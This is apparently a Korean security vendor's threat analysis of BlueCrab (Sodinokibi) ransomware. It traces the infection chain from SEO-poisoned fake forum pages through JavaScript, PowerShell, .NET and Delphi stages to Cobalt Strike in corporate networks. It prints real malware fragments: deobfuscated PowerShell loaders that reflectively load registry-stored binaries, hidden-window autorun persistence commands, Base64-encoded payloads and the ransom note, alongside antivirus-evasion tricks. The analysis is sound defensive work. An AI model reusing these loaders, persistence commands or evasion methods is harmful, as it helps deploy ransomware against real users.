
30

THREAT ANALYSIS
BLUECRAB RANSOMWARE



31

해커의 공격과 보안 기업의 솔루션 간 대결은 끊임 없는 전쟁과도 같다. 보안 솔루션

이 공격을 막아내면 해커는 이를 우회하여 이득을 취하기 위해 공격 방식을 발전시키

고 새로운 시도를 한다. ASEC은 최근까지 분석해온 많은 위협 가운데 블루크랩 랜섬

웨어가 위처럼 다양한 방식으로 변형되어 유포되는 것을 확인했다.

이번 글에서는 블루크랩 랜섬웨어의 전체적인 감염 과정과 안티바이러스 솔루션 우

회를 위해 어떤 방식으로 공격 과정을 변형했는지, 그리고 공격 대상이 기업 환경으로 

확인될 경우 어떻게 추가적인 공격을 감행하는지에 관한 내용을 공유하고자 한다.

BLUECRAB RANSOMWARE

블루크랩 랜섬웨어 공격 과정 집중 분석

블루크랩 랜섬웨어의 
어제와 오늘은 어떻게 다른가 
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블루크랩 랜섬웨어(BlueCrab Ransomware), 일명 소디노키비(Sodinokibi) 랜섬웨어는 국내 

사용자를 대상으로 활발하게 유포되어 왔다. 여러 검색 키워드를 활용하여 생성된 가짜 포럼 페

이지를 통해 유포되는 것이 특징이며, 유포 페이지에서 다운로드 받은 자바스크립트(JavaScript: 

JS) 파일 실행 시 감염 프로세스가 시작된다. 해당 유포 페이지는 검색 엔진의 검색 결과 상위에 

노출되어 사용자의 접근이 쉽기 때문에 감염 사례가 꾸준히 보고되고 있다. 

블루크랩 랜섬웨어는 안티바이러스 솔루션(AV)을 우회하기 위해 활발하게 변형을 만들어 내는

데, 각 감염 단계별 다양한 변형으로 진단 우회를 시도한다. 블루크랩 랜섬웨어는 긴 시간 동안 변

형 없이 유지되다가, 가끔씩 몇 달의 기간 동안 매우 활발하게 변형하는 특징을 보였다. 2019년 11

월부터 2020년 1월까지 활발한 변형을 보였고, 한동안 유지되다가 2020년 10월부터 12월까지 다

시 변형이 잦아졌다. 

공격자는 취약한 워드프레스(WordPress) 환경을 공격하고 권한을 탈취한 후 다양한 키워드를 

사용하여 ‘다운로드’를 포함한 제목의 게시글을 작성한다. 해당 게시글에 접속할 경우 내부 소스

코드에 삽입된 자바스크립트로 인해 가짜 포럼 페이지가 출력되며, 사용자로 하여금 파일 다운로

드 및 실행을 유도한다. 

게시글은 사람이 이해할 수 없는 문장으로 작성되어 있지만 검색 엔진은 이 내용을 잘못 판단하

여 검색 결과 상위에 노출시킨다. 이를 ‘SEO-Poisoning’이라 한다. 이러한 유포 게시글은 자동

화된 툴에 의해 생성되는 것으로 추정되며, 많은 수의 유포 게시글이 존재하고 또 꾸준히 생성되

고 있다. 

공격자가 게시한 유포 게시글은 겉보기에는 단순한 게시글로 보이지만 소스코드를 살펴보면 다

음 [그림 1]과 같이 내부에 자바스크립트 코드가 존재한다. 그 내용은 [그림 2]와 같다.

BLUECRAB RANSOMWARE
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실행되는 자바스크립트는 브라우저에 로드된 웹 객체를 모두 제거한 뒤 가짜 포럼 페이지를 로드

한다. 사용자가 게시글에 접속할 경우 실제 게시글 내용 대신 가짜 포럼 페이지가 출력된다. 

해당 자바스크립트는 공격자의 서버와 연동되어 있는 것으로 보인다. A 도메인에서 파일을 다운

로드할 경우 B 도메인 또한 필터링이 적용되어 행위가 발현되지 않는다. 공격자가 게시한 모든 

유포 게시글은 공격자의 서버와 연결되어 관리되는 것으로 추정되는 부분이다. 이 단계까지는 과

거부터 변형이 없다.

[그림 1] 유포 게시글 소스코드

[그림 2] 가짜 포럼 페이지를 로드하는 자바스크립트

[그림 3] 가짜 포럼 페이지

BLUECRAB RANSOMWARE
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가짜 포럼 페이지에서 다운로드 링크를 클릭할 경우 ZIP 압축된 자바스크립트 파일이 다운로드 

된다. 파일의 이름은 유포 게시글 제목의 키워드를 포함하며, 파일명 형식은 주기적으로 변형된다.

자바스크립트 파일의 변형
자바스크립트 파일은 공격자 서버(C2)로부터 추가 스크립트를 다운로드하여 실행하는 역할

을 한다. 내부 코드는 난독화 되어 있으며 작은 크기의 스크립트이기 때문에 진단 우회가 쉽다. 

‘Generic’ 진단을 반영해도 평균적으로 1~2일 내에 의미 없는 쓰레기 코드를 추가하거나 동일 기

능의 다른 문법을 사용하는 등 간단한 변형으로 진단을 우회한다. 따라서 파일 진단보다는 메모

리 진단 또는 행위 진단을 통해 방어하는 것이 효율적이다.

자바스크립트 파일 구조의 변형

기존에는 동일한 코드 구조를 유지하며 매 다운로드마다 변수명과 함수명을 랜덤하게 변경했다. 

하지만 2020년 12월 15일부터 매 다운로드마다 각 행의 순서를 랜덤하게 섞는 기능이 추가되었

고, 이러한 기능을 구현하기 위해 전체적인 코드 구조가 크게 달라졌다. 랜덤하게 행을 배열해도 

동작하도록 1회의 함수 호출로 모든 기능을 수행한다. 또한 기존에는 변수명 등에 무작위 문자열

을 사용했는데, 이번 변형 뒤에는 영문 단어를 사용한다(예: apple 등). 이러한 변형은 AV 제품의 

스크립트 파일에 대한 Generic 진단 반영을 더 어렵게 하려는 목적으로 풀이된다.

BLUECRAB RANSOMWARE

[그림 4] 기존 자바스크립트 파일
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자바스크립트 파일의 겉모습은 많이 달라졌지만 난독화를 해제한 스크립트, 즉 실제 악성 행위를 

수행하는 코드는 거의 변경되지 않았다. 공격자는 진단 우회를 위해 악성 스크립트를 감싸고 있

는 껍데기만을 지속적으로 변형하고 있다. 자바스크립트 파일 하나 당 3개의 C2 주소를 갖고 있

으며, 접속에 실패할 경우 다른 C2에 순차적으로 접속을 시도한다.

C2 접속 방식의 변형

C2 주소는 침해된 정상 도메인이 사용된다. PHP 파일 이름의 경우, 2020년 10월 26일까지는 “/

check.php”를 사용했고 그 이후부터는 “/search.php” 이름을 사용 중이다. 그 전에는 /info.

php, forum.php 등의 파일명을 사용한 바 있다. PHP 파일에 전달되는 인자로 랜덤한 값이 추

가된다. 기존에는 HTTP 프로토콜을 사용했지만, 2020년 3월 30일부터 HTTPS 프로토콜을 사용

하고 있다. 따라서 라이브러리 업데이트가 되지 않은 구 버전의 OS에서는 동작하지 않을 수 있다.
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[그림 5] 변형 이후 자바스크립트 파일

[그림 6] 난독화 해제된 자바스크립트 파일
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자바스크립트 파일 실행 시 C2로부터 추가 자바스크립트를 다운로드해 실행한다. 자바스크립트

는 파워쉘(PowerShell) 스크립트를 풀어 실행한다. 파워쉘 스크립트는 .NET 언어로 된 인젝터

(Injector)를 메모리에, 인젝터는 델파이(Delphi) 언어로 된 랜섬웨어 로더(Loader)를 정상 프로

세스에 인젝션하여 실행한다. 

인젝션된 로더는 최종적으로 블루크랩 랜섬웨어를 로드한다. 결과적으로 [그림 7]과 같이 여러 

겹으로 포장된 형태를 취하는데, 각 단계별로 별도의 변형이 가능해 AV 우회에 용이하다. 과거부

터 ‘자바스크립트 ➔ 파워쉘 ➔ .NET ➔ 델파이로 진행되는 감염 흐름은 유지되고 있으며, 각 단

계의 실행 방식과 상세 행위 등이 변형되었다.

이하 .NET PE는 ‘.NET Injector’, Delphi PE는 ‘Delphi Loader’로 칭한다.

BLUECRAB RANSOMWARE

[그림 7] 블루크랩 랜섬웨어 감염 과정 구조
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파워쉘 실행 방식의 변형
파워쉘 단계는 해당 기간 동안 가장 많은 변형이 이루어진 부분이다. 공격자는 문법이 비교적 자

유로운 파워쉘 언어의 특성을 활용하여 아래와 같이 다양한 방법으로 변형시켰다. 

파일에서 레지스트리로 변경

기존에는 wscript.exe(자바스크립트)가 파워쉘 스크립트를 파일로 드롭 후 해당 파일을 실행했

다. 2020년 10월 12일 확인된 변형에서는 더 이상 스크립트를 파일로 드롭하지 않고, 레지스트리 

특정 키에 .NET Injector 바이너리를 삽입한 뒤 이를 읽어 메모리에 로드하는 파워쉘 명령어를 

실행하는 방식으로 변화했다. 해당 명령어는 환경변수와 레지스트리 자동실행 키에 등록된다. 이

를 나타낸 구조는 [그림 8], 각각의 명령어는 [표 1]과 같다. 자동실행 키에 명령어가 등록되기 때

문에 재부팅 시 랜섬웨어 감염 행위가 발현된다.

BLUECRAB RANSOMWARE

[그림 8] 파워쉘 실행 구조
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환경변수

chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes = [byte[]]::new($hs.

Length / 2);for($i=0; $i -lt $hs.Length; $i+=2){$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 2), 

16)}$Bytes};$i = 0;While ($True){$i++;$ko = [math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b = chba($a.

replace(“!@#”,$ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();

레지스트리 [~CurrentVersion\Run]

“C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe” -windowstyle hidden -Command “IEX([Envir

onment]::GetEnvironmentVariable([PC이름]+’0’, ‘User’))”

레지스트리 [~Software\”PC이름+0″]

4d5a90000300000004000000ffff0000b80000000000000040000000000000000000…

“C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe” -e J“AB3AD0AJwAgAC0AQwBvAG0AbQBhAG

4AZAAgACIASQBFAFg…(중략)…HcAUwB0AHkAbABlACAAaABpAGQAZABlAG4“A

[표 1] 각 항목 별 데이터

[표 2] "를 사용한 명령어 난독화

레지스트리 자동실행 등록 행위 제거

공격자는 2020년 10월 26일 레지스트리 자동실행 등록 행위를 제거했다. 따라서 재부팅 시에 동

작하지 않으며, wscript.exe가 직접 환경변수의 명령어를 실행한다. 또한 Base64 코드 중간에 “”

를 사용하여 난독화를 시도했다. 자동실행 등록 행위는 대부분의 AV에서 모니터링 대상이 되므

로 빠르게 제거했을 것으로 추측된다.

프로세스 트리에 cmd.exe 추가

기존에는 wscript.exe가 직접 powershell.exe을 실행하였으나, CMD 명령어를 통해 파워쉘을 

실행하도록 변경되었다. 따라서 감염 과정의 프로세스 트리가 변경되었다.
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환경변수 등록 행위 제거, 랜덤한 주석값 추가

환경변수에 명령어를 등록 후 실행하는 행위가 제거되었다. 따라서 레지스트리에 등록된 .NET 

Injector를 로드하는 파워쉘 명령어를 wscript.exe가 직접 실행한다. 또한 해당 명령어 앞 부분에 

랜덤한 주석값을 추가 후 Base64 인코딩하여 감염 환경마다 완전히 다른 인자를 갖도록 변형되

었다.

파워쉘로부터 실행되는 .NET Injector의 변형
.NET Injector는 Delphi Loader를 인젝션하여 실행하는 역할을 한다. Delphi Loader 바이너리

는 난독화된 형태로 .NET Injector 안에 포함되어 있으며, .NET Injector는 이를 풀어낸 후 대상 

프로세스에 인젝션하여 실행한다.

Delphi Loader 바이너리(인젝션 데이터) 저장 방식 변화

기존에는 Delphi Loader 바이너리를 Base64 인코딩 후 거꾸로 뒤집은 값으로 저장했으나 

2020년 12월 22일 확인된 변형에서는 단순 치환 방식을 사용하여 저장했다. “1000” 값을 “!@#” 

등의 문자열로 치환했고 이후 치환 문자열은 “$%^” 등으로 변형되기도 했다.

BLUECRAB RANSOMWARE

“C:\Windows\System32\cmd.exe” /c PowerShell -e IABpAGYAKABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdA

DoAOgBJAHMANgA0AEIAaQB0AE8AcABlA…(후략)

<# brsjyxdus #>for ($i=0;$i -le 700;$i++){$c=”HKCU:\SOFTWARE\prizbydat”;Try{$a=$a+(Get-ItemProperty -path 

$c).$i}Catch{}};function chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes = 

[byte[]]::new($hs.Length / 2);for($i=0; $i -lt $hs.Length; $i+=2){$Bytes[$i/2] = [convert]::ToByte($hs.Substring($i, 

2), 16)}$Bytes};$i = 0;While ($True){$i++;$ko = [math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b = chba($a.

replace(“!@#”,$ko));[Reflection.Assembly]::Load($b);[Mode]::Setup();

[표 3] 프로세스 트리에 cmd.exe 추가

[표 4] 랜덤한 주석값 추가
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인젝션 방식의 변형

.NET Injector가 인젝션하는 Delphi Loader 바이너리는 기존 DLL에서 EXE 포맷으로 변경되었

다. 해당 바이너리를 인젝션하는 방식 또한 변경되었는데, 기존에는 DLL 인젝션(DLL Injection) 

기법을 사용했다면 변형 이후에는 프로세스 할로잉Process Hollowing) 기법을 사용한다.

기존에는 자신이 로드된 프로세스(powershell.exe)에 가상 메모리를 할당하여 Delphi Loader 

바이너리를 삽입하고 DllEntryPoint() 함수의 주소를 찾아 직접 실행하는 방식이었다. 2020년 10

월 12일 확인된 변형에서는 별도의 프로세스를 Suspend 상태로 생성한 뒤 Delphi Loader의 프

로세스 메모리 구조를 인젝션 후 Resume하는 전형적인 프로세스 할로잉 방식으로 변형되었다.

BLUECRAB RANSOMWARE

[그림 9] 기존 저장 방식

[그림 10] 변형된 저장 방식
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인젝션 대상 프로세스 변형

변형 초기에는 자신과 동일한 프로세스를 생성한 뒤 인젝션한 관계로, 대상 프로세스는 

powershell.exe 이었다. 현재는 SysWow64 디렉토리에 존재하는 특정 exe 파일을 실행 후 인젝

션한다. 실행되는 프로세스의 경로(Path)는 하드코딩 되어있다. 

인젝션 코드상으로는 x64, x86 아키텍처 별 예외 처리가 구성되어 있으나 프로세스 경로를 하드

코딩하면서 x64 환경의 시스템만 감염 대상이 되었다. 인젝션 대상 프로세스는 지속적으로 변형

[그림 11] 기존 DLL 인젝션 코드

[그림 12] 변형 이후 프로세스 할로잉 코드
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되고 있으며, 프로세스 트리구조에 변화를 주기 위함으로 판단된다. 참고로, V3 제품에서는 프로

세스명과 상관 없이 차단 가능하다.

Delphi Loader의 변형
Delphi Loader는 블루크랩 랜섬웨어를 로드하는 역할을 한다. 이 단계에서 특정 AV 제품을 무력

화하고 진단을 우회하는 등의 변형이 발생하였다. 감염을 용이하게 하기 위해 관리자 권한을 얻어

오며, 사용자 계정 컨트롤(User Account Control: UAC) 메시지에 ‘예’를 누를 때까지 100회 반

복하여 출력한다. 이후 블루크랩 바이너리를 로드하여 VSC 삭제 및 파일 암호화 행위를 수행한다.
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기존 20.11.28 20.12.04 20.12.04 20.12.07 20.12.07 20.12.12 20.12.16 21.01.18

powershell.

exe
cmd.exe notepad.exe cscript.exe wscript.exe PING.exe find.exe write.exe WerFault.exe

[표 5] 변형 중인 인젝션 대상 프로세스

[그림 13] 반복 팝업되는 UAC 메시지
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V3 서비스 모니터링 코드 추가

2020년 11월 2일 확인된 변형에서 V3 Lite 제품의 서비스 ‘V3 Service’의 동작 상태를 모니터링

하는 코드가 추가되었다. 만약 V3 서비스가 동작 중일 경우 1초를 Sleep 하고 해당 행위를 500

회 반복한다. 반복문 동작 중에 제품 엔진 업데이트가 이루어진다면 일시적으로 서비스가 중지되

는 동안 랜섬웨어 행위가 발현되어 무방비 상태가 된다. 

V3 제품의 경우 랜섬웨어가 실행되더라도 다수의 파일에 접근하는 행위를 차단하는데, 이러한 

진단을 우회하기 위함으로 풀이된다. 현재 V3 제품에서는 이러한 모니터링 행위보다 앞 단계에서 

진단하고 있기 때문에 해당 행위와는 관련 없이 차단 가능하다.

내부 문자열 암호화

진단을 회피하기 위해 내부 문자열을 조금씩 암호화하는 변형이 확인됐다. 변형 초기에는 “V3 

Service” 문자열이 온전하게 사용되었지만 이후 “Service”, “ervice” 등으로 사용되는 문자열을 

조금씩 줄이고, 자체적인 연산을 통해 복호화하여 사용하는 방식으로 변형되었다. 해당 변형을 볼 

때 공격자는 AV의 진단 포인트를 정확하게 파악하고 있음을 알 수 있다.

[그림 14] V3 서비스 모니터링 코드
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.rsrc 섹션 데이터 암호화

.rsrc 섹션 중 첫 번째 RCDATA 항목의 데이터가 XOR 암호화되었다. 키는 “1234”로 하드코딩 되

어있다. 해당 데이터는 타사 AV 제품 우회 행위를 하는 역할의 DLL로, 해당 AV가 설치되어 있

지 않으면 사용하지 않는다. 만약 타사 특정 AV를 사용하고 있다면 %USERPROFILE% 경로에 

db.bat 이름으로 드롭된 후 rundll32.exe에 의해 실행되며, system32 디렉토리의 cleanmgr.

exe를 실행 후 인젝션한다. 인젝션된 cleanmgr.exe는 디코이 파일이 위치한 디렉토리를 찾아 

삭제한다.

[그림 15] 문자열 암호화 과정

[그림 16] cleanmgr.exe 인젝션 코드
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Delphi Loader에 의해 블루크랩 랜섬웨어 바이너리가 실행되면 파워쉘 명령어를 통해 VSC 삭제 

후 파일 암호화 행위를 수행한다. 암호화가 완료되면 윈도우 배경화면을 다음과 같이 변경한다.
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[그림 17] 디코이 파일 디렉토리 삭제 코드

[그림 18] 변경된 바탕화면

All of your files are encrypted!

Find 12xrr+readme.txt and follow instructions

–=Welcome.Again.==-

[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion 

12xrr.

By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you 

cant return your data (NEVER).

[+] What guarantees? [+]
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기업 환경으로 식별되면 코발트 스트라이크 해킹 툴 유포
지금까지 자바스크립트 형태로 유포되는 블루크랩 랜섬웨어가 AV 솔루션을 우회하기 위해 감염 

단계별로 변형을 만들어내는 과정을 분석했다. 여기에 더해, ASEC은 최근 블루크랩 랜섬웨어가 

공격 대상이 기업 사용자로 확인될 경우 추가 공격을 위해 코발트 스트라이크(Cobalt Strike) 

해킹 툴을 유포하는 것으로 확인했다. 

코발트 스트라이크 해킹 툴은 원래 합법적인 모의 해킹 테스트를 위해 제한적으로 활용되어 왔

으나, 최근 소스코드 유출 이후 악성코드에서도 활발하게 사용 중이다. 최근 확인된 블루크랩 랜

섬웨어 유포 자바스크립트는 기업 AD(Active Directory) 환경을 체크한 후, 기업 사용자인 경

우 랜섬웨어가 아닌 코발트 스트라이크 해킹 툴을 설치한다. 

코발트 스트라이크 해킹툴 감염 과정

먼저, 자바스크립트 파일은 C2 접속 시, 사용자 시스템의 %USERDNSDOMAIN% 환경변수 존

재 여부를 검사한다
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Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do 

our work and liabilities – nobody will not cooperate with us. Its not in our interests.

To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That 

is our guarantee.

If you will not cooperate with our service – for us, its does not matter. But you will lose your time and data, cause 

just we have the private key. In practise – time is much more valuable than money.

…(후략)

[표 6] 랜섬노트
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만약 %USERDNSDOMAIN% 환경변수가 존재하면 인자에 특정 값(“278146”)을 추가해 요청

한다. 해당 값의 유무에 따라 C2에서 응답하는 내용이 다른 것으로 확인되었다. 과거에는 이러

한 조건에서도 블루크랩 랜섬웨어를 다운로드 하였으나, 현재는 코발트 스트라이크를 다운로드

한다. 일반 사용자 환경과 달리 기업의 AD서버 환경 등 도메인이 설정된 경우에는 해당 환경변

수가 존재하여 코발트 스트라이크에 감염된다.

이는 앞서 [그림 7]에서 설명한 기존 블루크랩 랜섬웨어 유포 과정의 감염 흐름과 비슷하지만 

단계 별 세부내용에서 차이를 보인다. 

코발트 스트라이크를 유포하는 페이로드는 .NET 인젝터가 두 부분으로 나뉘어 있다. 편의 상 

1차 .NET PE는 ‘Loader’로, 2차 .NET PE는 ‘Injector’로 칭한다. 먼저 \HKEY_CURRENT_

USER\Software\[사용자이름]+‘1’ 키에 .NET Loader 바이너리, 그리고 \HKEY_CURRENT_

USER\Software\[사용자이름] 키에 .NET Injector 바이너리가 삽입된다.

이후 실행되는 파워쉘 명령어는 ‘[사용자이름]’+‘1’ 키를 읽어 Loader를 실행하고, 실행된 

Loader는 ‘[사용자이름]′ 키를 읽어 Injector를 실행한다.
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[그림 19] %USERDNSDOMAIN% 환경변수 체크
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Loader는 실행할 때 다음 파워쉘 명령어를 자동실행 키에 등록한다.

환경변수에 다음과 같은 명령어를 등록한다.
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[그림 20] Loader 바이너리

[그림 21] Injector 바이너리

구분 내용

위치 컴퓨터/\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\

데이터
powershell -Win Hi -Command “$r = [Environment]::GetEnvironmentVariable(‘K’, ‘User’).

split();$p=$r[0];$r[0]=”;Start-Process $p -ArgumentList ($r -join ‘ ‘) -Win Hi”

구분 내용

위치 컴퓨터\HKEY_CURRENT_USER\Environment\K

데이터

원본

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -En “PA

AjACAAZQBiAGgAegBvAG8AaQAgACMAPgAkAHUAPQAkAGUAbgB2ADoAVQBzAGUAcgBOAGE

AbQBlADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgADcAMAAwADsAJABpA

CsAKwApAHsAJABjAD0AIgBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXAAiACsAJAB1A

CsAIgAxACIAOwBUAHIAeQB7ACQAYQA9ACQAYQArACgARwBlAHQALQBJAHQAZQBtAFAAcgBvA

[표 7] 자동실행 키에 등록되는 파워쉘 명령어
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해당 레지스트리 등록 행위로 인해 재부팅 시에도 동일한 행위를 하는 파워쉘 명령어가 실

행된다. 이후 Loader는 [사용자이름] 키에서 Injector 바이너리를 읽어 메모리에 로드해 실

행한다. 이때 실행되는 Injector는 ‘C:\Program Files (x86)\Windows Photo Viewer\

ImagingDevices.exe’ 프로세스를 실행한 뒤 Delphi Loader 바이너리를 인젝션한다.
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[표 8] 환경변수에 등록되는 파워쉘 명령어

데이터

원본

HAAZQByAHQAeQAgAC0AcABhAHQAaAAgACQAYwApAC4AJABpAH0AQwBhAHQAYwBoAHsAfQ

B9ADsAZgB1AG4AYwB0AGkAbwBuACAAYwBoAGIAYQB7AFsAYwBtAGQAbABlAHQAYgBpAG4AZA

BpAG4AZwAoACkAXQBwAGEAcgBhAG0AKABbAHAAYQByAGEAbQBlAHQAZQByACgATQBhAG4

AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUAKQBdAFsAUwB0AHIAaQBuAGcAXQAkAGgAcwAp

ADsAJABCAHkAdABlAHMAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAaA

BzAC4ATABlAG4AZwB0AGgAIAAvACAAMgApADsAZgBvAHIAKAAkAGkAPQAwADsAIAAkAGkAIA

AtAGwAdAAgACQAaABzAC4ATABlAG4AZwB0AGgAOwAgACQAaQArAD0AMgApAHsAJABCAHkA

dABlAHMAWwAkAGkALwAyAF0AIAA9ACAAWwBjAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCA

HkAdABlACgAJABoAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAaQAsACAAMgApACwAIAA

xADYAKQB9ACQAQgB5AHQAZQBzAH0AOwAkAGkAIAA9ACAAMAA7AFcAaABpAGwAZQAgACgA

JABUAHIAdQBlACkAewAkAGkAKwArADsAJABrAG8AIAA9ACAAWwBtAGEAdABoAF0AOgA6AFM

AcQByAHQAKAAkAGkAKQA7AGkAZgAgACgAJABrAG8AIAAtAGUAcQAgADEAMAAwADAAKQB7A

CAAYgByAGUAYQBrAH0AfQBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgAGMAaABiAGEAKAAk

AGEALgByAGUAcABsAGEAYwBlACgAIgAjACIALAAkAGsAbwApACkAOwBbAFIAZQBmAGwAZQBj

AHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgApADsAWw

BNAG8AZABlAF0AOgA6AFMAZQB0AHUAcAAoACkAOwA= “

데이터 

디코딩

<# ebhzooi #>$u=$env:UserName;for ($i=0;$i -le 700;$i++){$c=”HKCU:\

SOFTWARE\”+$u+”1″;Try{$a=$a+(Get-ItemProperty -path $c).$i}Catch{}};function 

chba{[cmdletbinding()]param([parameter(Mandatory=$true)][String]$hs);$Bytes 

= [byte[]]::new($hs.Length / 2);for($i=0; $i -lt $hs.Length; $i+=2){$Bytes[$i/2] = 

[convert]::ToByte($hs.Substring($i, 2), 16)}$Bytes};$i = 0;While ($True){$i++;$ko = 

[math]::Sqrt($i);if ($ko -eq 1000){ break}}[byte[]]$b = chba($a.replace(“#”,$ko));[Reflection.Asse

mbly]::Load($b);[Mode]::Setup();
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[그림 22] .NET Injector 코드(1)

[그림 23] .NET Injector 코드(2)

[그림 24] 코발트 스트라이크 비콘 설정
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위 과정에서 실행된 Delphi Loader는 내부에 있는 ‘코발트 스트라이크 비콘(Cobalt Strike 

Beacon)’ 바이너리를 실행한다. 코발트 스트라이크 비콘의 설정은 다음과 같다.

공격자는 일반 사용자의 경우 랜섬웨어를 감염시키고 공격 대상이 기업 환경으로 판단될 경우, 

추가적인 공격을 위해 코발트 스트라이크를 유포한다. AD 서버 등으로 도메인이 설정된 기업 

환경에서는 특히 주의가 요구되며 의심스러운 파일을 지양하고 파일 다운로드 시 공식 배포처

를 이용할 것을 권장한다. 한편 V3 제품군은 이러한 파일리스(Fileless) 형태의 공격에 대해 시

그니처 없이 행위 진단으로 차단할 수 있다.


